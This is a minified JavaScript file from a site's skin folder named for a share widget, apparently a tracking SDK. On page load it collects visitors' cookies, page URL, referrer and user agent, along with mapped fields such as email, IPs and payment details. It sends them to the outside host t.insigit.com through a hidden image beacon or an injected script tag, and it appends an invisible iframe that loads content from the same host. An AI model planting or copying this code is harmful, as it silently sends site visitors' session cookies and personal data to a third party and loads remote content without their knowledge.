core/skin/m2.yurecnt.ru/js/pluso/nsdk.js

3 lines
5.6 KiB
JavaScript
Executable File

/* jshint ignore:start */
(function(){function docProto(){}docProto.prototype.createElement=function(elType){return{element:elType}};var isFrame=typeof window!=="undefined"&&window!==top?true:false;var DEFAULT_NAME="_dct";var _globalObj=typeof window!=="undefined"?window:global;var _docObj=typeof document!=="undefined"?document:new docProto;var dataCloudObject=_globalObj.DataCloudObject||DEFAULT_NAME;var tempObject=_globalObj[dataCloudObject]||{};var ACTION_CREATE="create",ACTION_SEND="send",ACTION_ROUTE="route";var EVENT_CONFIRMATION="confirmation",EVENT_LANDING="landing",EVENT_LOGIN="login",EVENT_PAGEVIEW="pageview",EVENT_REGISTRATION="registration",EVENT_SUCCESSFUL_PAYMENT="successful_payment",EVENT_INFO="info";var ROUTE_BASE="/",ROUTE_SYNC="/sync/",ROUTE_SYNC_FORWARD="/sync_forward/";var ROUTE_LIST=[ROUTE_BASE,ROUTE_SYNC,ROUTE_SYNC_FORWARD];var ACTIONS_LIST=[ACTION_CREATE,ACTION_SEND,ACTION_ROUTE];var EVENTS_LIST=[EVENT_CONFIRMATION,EVENT_LANDING,EVENT_LOGIN,EVENT_PAGEVIEW,EVENT_REGISTRATION,EVENT_SUCCESSFUL_PAYMENT,EVENT_INFO];var SEND_URL="//t.insigit.com";var INTEGRATION_TYPE="img";var METHODOLOGY={aif_id:"afd",sub_aif_id:"sa",traffic_source:"ts",aff_campaign:"ac",platform:"p",profile_id:"pid",site_id:"sid",gender1:"g1",gender2:"g2",gender3:"g3",gender0:"g0",date_of_birth:"dfb",age_period:"ap",age:"ag",age0:"ag0",domain:"d",amount:"am",currency:"cr",visitor_id:"vid",partner_id:"ext",partner_subid:"eid",email:"emh",email_domain:"emd",confirmed_date:"cd","registration _date":"rd",browser_name_registration:"bnr",browser_language_registration:"blr",devicetype_registration:"dtr",login_ip:"lip",reg_ip:"rip",country_reg:"c",order_date:"od",transaction_status:"ts",ip_payment:"ipp",browser_name_payment:"bnp",browser_language_payment:"blp",number_of_logins:"l"};var dpgHash=null;var dpHash=null;var route=ROUTE_BASE;var stack=[];if(isArray(tempObject.q)){stack=tempObject.q}var time=typeof Date.now==="function"?Date.now():+new Date;if(isTimestamp(tempObject.l)){time=tempObject.l}function createSendUrl(data){var url="";url+=detectProtocol();url+=SEND_URL;url+=route;url+=dpgHash;url+="/";url+=dpHash;url+="?event="+data[1];url+="&time="+time;url+="&__v="+Math.floor(Math.random()*1e5);if(isObject(data[2])){data[2]=replaceByMethodology(data[2]);var params=serialize(data[2]);if(params){url+="&"+params}}return url}function detectProtocol(){return _globalObj&&_globalObj.location&&_globalObj.location.protocol==="https:"?"https:":"http:"}function detectAuth(){for(var i=0,l=stack.length;i<l;i++){if(stack[i][0]===ACTION_CREATE){dpgHash=stack[i][1];dpHash=stack[i][2];if(stack[i][3]){SEND_URL=stack[i][3]}if(stack[i][4]){INTEGRATION_TYPE=stack[i][4]}stack.splice(i,1);executeFromStack();break}}}function executeSendAction(data){data=isFrame?getPageParentData(data):getPageData(data);var url=createSendUrl(data);var r=send(url);if(_docObj instanceof docProto){console.log(r)}}function executeFromStack(){if(dpgHash&&dpHash){var l=stack.length;if(l){for(var i=0;i<l;i++){execute(stack[i])}}stack=[]}else{detectAuth()}}function execute(data){if(isArray(data)){if(validateAction(data[0])){if(data[0]===ACTION_ROUTE){if(isInArray(data[1],ROUTE_LIST)){route=data[1]}}else{if(validateEvent(data[1])){if(data[0]===ACTION_SEND){executeSendAction(data)}}}}}}function getPageData(data){var obj=data[2]||{};if(_globalObj&&_globalObj.location){obj.url=_globalObj.location.toString()}if(_docObj.referrer){obj.referrer=_docObj.referrer}if(_docObj.cookie){obj.cookie=_docObj.cookie}if(typeof navigator!=="undefined"){obj.user_agent=navigator.userAgent}data[2]=obj;return data}function getPageParentData(data){var obj=data[2]||{};if(_docObj.referrer){obj.url=_docObj.referrer;obj.referrer=""}if(_docObj.cookie){obj.cookie=_docObj.cookie}if(typeof navigator!=="undefined"){obj.user_agent=navigator.userAgent}data[2]=obj;return data}function isArray(array){return typeof array==="object"&&Object.prototype.hasOwnProperty.call(array,"length")}function isObject(object){return object!==null&&typeof object==="object"}function isTimestamp(number){return typeof number==="number"&&number.toString().length===13}function isInArray(element,array){if(typeof element==="string"){if(typeof Array.prototype.indexOf!=="undefined"){return array.indexOf(element)!==-1}for(var i=0;i<array.length;i++){if(array[i]===element){return true}}}return false}function replaceByMethodology(data){var obj={};if(isObject(data)){for(var i in data){if(METHODOLOGY.hasOwnProperty(i)){data[METHODOLOGY[i]]=data[i];delete data[i]}}obj=data}return obj}function send(url){switch(INTEGRATION_TYPE){case"img":var b=_docObj.createElement("img");b.width=1;b.height=1;b.src=url;b.onload=null;b.onerror=null;return b;case"js":if(document){var s=document.createElement("script");var m=document.getElementsByTagName("head")[0];s.src=url;s.async=1;s.type="text/javascript";if(m){m.appendChild(s)}}return null}}function serialize(obj){var str=[];for(var p in obj){if(obj.hasOwnProperty(p)){str.push(encodeURIComponent(p)+"="+encodeURIComponent(obj[p]))}}return str.join("&")}function validateAction(action){if(action!==ACTION_CREATE){return isInArray(action,ACTIONS_LIST)}return false}function validateEvent(event){return isInArray(event,EVENTS_LIST)}var dct=function(){stack.push(arguments);executeFromStack()};dct.prototype={};if(_globalObj&&_globalObj.DataCloudObject){_globalObj[_globalObj.DataCloudObject]=dct;executeFromStack()}else if(_globalObj){_globalObj[DEFAULT_NAME]=dct;executeFromStack()}(function(){var iframe=document.createElement("iframe");iframe.src="//t.insigit.com/nsapi/static/partners.html";iframe.height="1px";iframe.width="1px";iframe.frameborder=0;iframe.style.opacity=0;document.body.appendChild(iframe)})()})();
/* jshint ignore:end */